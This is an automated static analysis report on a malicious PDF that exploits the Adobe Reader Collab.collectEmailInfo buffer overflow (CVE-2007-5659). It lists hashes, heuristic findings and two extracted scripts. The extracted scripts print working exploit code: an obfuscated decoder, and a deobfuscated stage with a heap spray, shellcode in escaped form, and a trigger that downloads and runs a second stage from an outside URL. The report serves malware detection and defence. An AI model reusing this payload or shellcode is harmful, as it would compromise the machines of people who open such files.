Malicious PDF — malware analysis report

Static analysis result for SHA-256 ef47da5281d7987e…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 5e4c64de6b4cdc602611536acbb40f3a SHA-1: 3b7d17217b29b0c2ac1313d8b52cdb30fa262aff SHA-256: ef47da5281d7987e732e3224a7431b25f7ddd04846999330f9a5927bb21be526
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_EVAL'. The 'PDF_EVAL' firing specifically points to an 'eval()' call within the decoded JavaScript stream, suggesting obfuscated code execution. The presence of 'Script obfuscation indicators' further supports this. The JavaScript is likely intended to download and execute a second-stage payload, though the exact functionality is obscured. No specific malware family could be confidently identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function TRpzUiknD3k7O(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function CbY6D(e7ssbN4qglZ7lt){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(e7ssbN4qglZ7lt)"+";"+"}");eval("function K6TPs1PfitRM(HZFinqGc){var RwaWrW="+"0,HMcePgMtC=HZFinqGc.l"+"en"+"gth,QfYsfxXNryk5LK=10"+"2"+"4,P80Kk,X7vPVblPntPT,O0PoWGn='',Z9beDjoX=RwaWrW,iIa3h7=RwaWrW,LWSMvvoC5=RwaWrW,rbUot=Ar"+"ra"+"y(63,49,15,8,24,7,2,53,37,34,0,0 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/exp/load.php?id=1472&spl=4 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 6303 bytes
SHA-256: d0a20868ec8bb605866b7da37e1aec6b6dd3393da55067d6505268773fdda95f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 120 of 227 identifiers look randomly generated (e.g. 'yFwS62mnU_wS62msQ_wS62m52q1S62'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function TRpzUiknD3k7O(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function CbY6D(e7ssbN4qglZ7lt){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(e7ssbN4qglZ7lt)"+";"+"}");eval("function K6TPs1PfitRM(HZFinqGc){var RwaWrW="+"0,HMcePgMtC=HZFinqGc.l"+"en"+"gth,QfYsfxXNryk5LK=10"+"2"+"4,P80Kk,X7vPVblPntPT,O0PoWGn='',Z9beDjoX=RwaWrW,iIa3h7=RwaWrW,LWSMvvoC5=RwaWrW,rbUot=Ar"+"ra"+"y(63,49,15,8,24,7,2,53,37,34,0,0,0,0,0,0,30,10,51,26,52,46,11,50,16,23,44,13,18,21,62,61,28,6,20,32,17,27,1,4,47,39,0,0,0,0,0,43,0,54,59,58,56,29,60,40,25,5,19,33,57,48,3,36,35,12,9,55,31,38,14,45,42,22,41);f"+"o"+"r(X7vPVblPntPT=M"+"at"+"h.c"+"ei"+"l(HMcePgMtC/"+"QfYsfxXNryk5LK)"+";X7vPVblPntPT>RwaWrW;X7vPVblPntPT-"+"-){fo"+"r(P80Kk=Ma"+"th.m"+"in(HMcePgMtC,QfYsfxXNryk5LK);P80Kk>RwaWrW;P80Kk-"+"-,HMcePgMtC-"+"-){LWSMvvoC5|"+"=(rbUot[HZFinqGc.cha"+"rCod"+"eAt(Z9beDjoX+"+"+)-48])<"+"<iIa3h7;if(iIa3h7){O0PoWGn+"+"=CbY6D"+"(133^LWSMvvoC5&"+"2"+"5"+"5);LWSMvvoC5>"+">="+"8;iIa3h7-"+"="+"2;}el"+"se{iIa3h7="+"6"+";}}"+"}return (O0PoWGn);}var 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generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x36B 2560 bytes
SHA-256: c5b8b871634db264e2713f258e5dfb97f94ae81418382d1463298e042bbf9d06
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Mw3fMtyKMKP = new Array(); function KyFIe6jT6E(F2QsmWG0ADCqa, XuT0KhjJx3x3m) { while (F2QsmWG0ADCqa.length*2<XuT0KhjJx3x3m){F2QsmWG0ADCqa += F2QsmWG0ADCqa;} F2QsmWG0ADCqa = F2QsmWG0ADCqa.substring(0,XuT0KhjJx3x3m/2); return F2QsmWG0ADCqa; } function r1dx35() { var eb7ymKAcuHRpk = 0x0c0c0c0c; var VRKSPN = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u313D%u3734%u2632%u7073%u3D6C%u0034"); var qAUyw = 0x400000; var JYjQ1Y = VRKSPN.length * 2; var XuT0KhjJx3x3m = qAUyw - (JYjQ1Y+0x38); var F2QsmWG0ADCqa = unescape("%u9090%u9090"); F2QsmWG0ADCqa = KyFIe6jT6E(F2QsmWG0ADCqa, XuT0KhjJx3x3m); var XhdvA3IaUR = (eb7ymKAcuHRpk - 0x400000)/qAUyw; for (var T0ra0VXBZ=0;T0ra0VXBZ<XhdvA3IaUR;T0ra0VXBZ++) { Mw3fMtyKMKP[T0ra0VXBZ] = F2QsmWG0ADCqa + VRKSPN; } } function bbxcm() { var hnhUl = app.viewerVersion.toString(); hnhUl = hnhUl.replace(/\D/g,""); var qvD3MDaX = new Array(hnhUl.charAt(0),hnhUl.charAt(1),hnhUl.charAt(2)); if ((qvD3MDaX[0] == 8 && ((qvD3MDaX[1] == 1 && qvD3MDaX[2] < 2) || qvD3MDaX[1] < 1)) || (qvD3MDaX[0] == 7 && qvD3MDaX[1] < 1) || (qvD3MDaX[0] < 7)) { r1dx35(); var ZAkTD34h = unescape("%u0c0c%u0c0c"); while(ZAkTD34h.length < 44952) ZAkTD34h += ZAkTD34h; this.collabStore = Collab.collectEmailInfo({subj: "",msg: ZAkTD34h}); } } bbxcm();

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